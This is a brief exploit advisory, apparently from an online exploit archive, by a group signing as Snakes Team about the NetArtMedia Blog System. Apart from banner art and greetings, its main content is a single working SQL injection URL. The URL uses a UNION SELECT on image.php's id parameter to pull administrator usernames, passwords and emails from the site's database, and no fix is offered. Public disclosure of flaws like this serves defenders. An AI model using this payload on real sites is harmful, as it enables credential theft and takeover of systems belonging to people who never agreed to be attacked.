SecurityReason - NetArtMedia Blog System (image.php id) SQL Injection Vulnerability

Advisory Text :

===========================================================================
=======================================
SSSSS NN N AA K K EEEEE SSSSS TTTTTTTTT
EEEEE AA MM MM
S N N N A A K K E S T
E A A M M M M
SSSSS N N N AAAAAA KKK EEEEE SSSSS T
EEEEE AAAAAA M M M M
S N N N A A K K E S T
E A A M M M
SSSSS N NN A A K K EEEEE SSSSS T
EEEEE A A M M
===================================================SNAKES
TEAM====================================================

Script: NetArtMedia blog system Remote SQL
Injection Vulnerability

==============================================:::ALGERIAN
HaCkEr:::===============================================
= =
= =
= = Discovered By: Snakespc
:::ALGERIAN HaCkEr::: = =
=
=
= = ************ ::::::home :
www.snakespc.com/sc::::::*************** = =
=
=
= = :::::Mail:
snakespc@gmail.com::::::: = =
=
=
= Sript : http://www.netartmedia.net/blogsystem/
=
= www.netartmedia.net
=
=================================== Snakespc
======================================

[*]Exploit:
Using FireFox
view-source:http://localhost/[script_path]/image.php?id=-1 UNION SELECT
1,2,concat_ws(0x3e,username,password,email),4,5,6,7 FROM
websiteadmin_admin_users--

===========================================================================
========================================
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::Super
Cristal:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE
INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/sc >>>> Members
str0ke.....>>>>.....milw0rm
===========================================================================
========================================